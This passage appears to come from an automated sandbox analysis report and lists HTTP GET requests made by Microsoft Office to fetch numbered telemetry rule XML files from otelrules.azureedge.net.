Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
